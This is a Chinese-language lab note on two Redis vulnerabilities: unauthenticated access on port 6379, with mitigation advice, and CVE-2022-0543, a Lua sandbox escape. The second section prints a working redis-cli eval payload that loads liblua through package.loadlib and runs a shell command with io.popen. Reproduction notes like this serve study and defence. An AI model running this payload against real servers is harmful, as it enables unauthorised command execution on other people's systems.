0x00 4-unacc(未授权访问)
1、介绍
redis默认端口:6379
Redis 是一个高效数据库,默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
————————————————
https://blog.csdn.net/ploto_cs/article/details/108489337
2、影响版本
数据库版本在4.x/5.x以下
3、预防
① Redis添加密码验证
② Redis尽量不要在公网开放(限制来源IP)
③ 使用高版本的Redis
4、复现:
docker靶机:172.17.0.1
kali攻击机:192.168.124.9
Redis未授权访问漏洞复现_又菜又爱倒腾的博客-CSDN博客_redis未授权访问漏洞复现
0x01 CVE-2022-0543(lua沙盒绕过命令执行)
1、简介
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
————————————————
https://blog.csdn.net/qq_20737293/article/details/123745920
2、影响范围
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
3、复现
Kali安装redis-cli工具 apt-get install redis-server
使用redis-cli工具连接redis数据库
redis-cli -h 靶机ip –p 6379
发送恶意代码,可以看到回显数据为执行命令id的内容
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0